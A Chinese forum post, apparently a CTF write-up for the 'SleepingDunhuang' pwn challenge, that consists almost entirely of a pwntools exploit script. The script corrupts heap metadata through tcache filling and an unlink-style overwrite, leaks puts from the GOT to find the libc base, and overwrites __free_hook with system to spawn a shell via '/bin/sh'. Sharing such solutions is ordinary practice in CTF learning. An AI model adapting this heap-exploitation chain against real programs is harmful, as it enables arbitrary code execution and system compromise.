首页
论坛
专栏
课程

[原创]SleepingDunhuang WP

2019-6-26 11:58 2758
xym

[原创]SleepingDunhuang WP

2019-6-26 11:58
2758

这道题拿了一血。看su的wp说是改题了,我也不清楚什么时候改的。

做题时间有点久了,忘了题目是什么内容了,直接上关键的wp吧。

heap_addr = add(31, 'A' * 0x27)

print 'addr ', hex(heap_addr)

add(1, 'A' * 0x27)

for i in range(7):

add(2 + i, 'A' * 0x27)

add(9, 'A')

add(10, '/bin/sh\x00')

for i in range(7):

free(2 + i)

free(31)

for i in range(7):

add(2 + i, 'A' * 0x20 + p64(0xC0) + p8(0xC1))

add(31, p64(0) + p64(0x21) + p64(0x404178 - 0x18) + p64(0x404178 - 0x10) + p64(0x20) + p8(0xC0))

for i in range(6):

free(2 + i)

free(9)

free(1)

edit(31, p64(0x404178) + p64(elf.got['puts']) + p64(elf.got['atoi']))

edit(28, p64(0x404178) + p64(0) + p64(1))

show(29)

p.recvuntil('\n')

puts_addr = p.recvuntil('\n1.m', drop = True)

puts_addr = u64(puts_addr.ljust(8, '\x00'))

print 'puts_addr ',hex(puts_addr)

libc.address = puts_addr - libc.symbols['puts']

print 'libc.address ', hex(libc.address)

#debugf('bp 0x004016ED\n')

edit(28, p64(libc.symbols['__free_hook']) + p64(0) + p64(1))

edit(31, p64(libc.symbols['system']))

free(10)

#edit(2, p64(elf.got['free']))

p.interactive()



[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最新回复 (1)
kanxue 8 2019-6-28 11:03
2
0
修正了个bug
游客
登录 | 注册 方可回帖
返回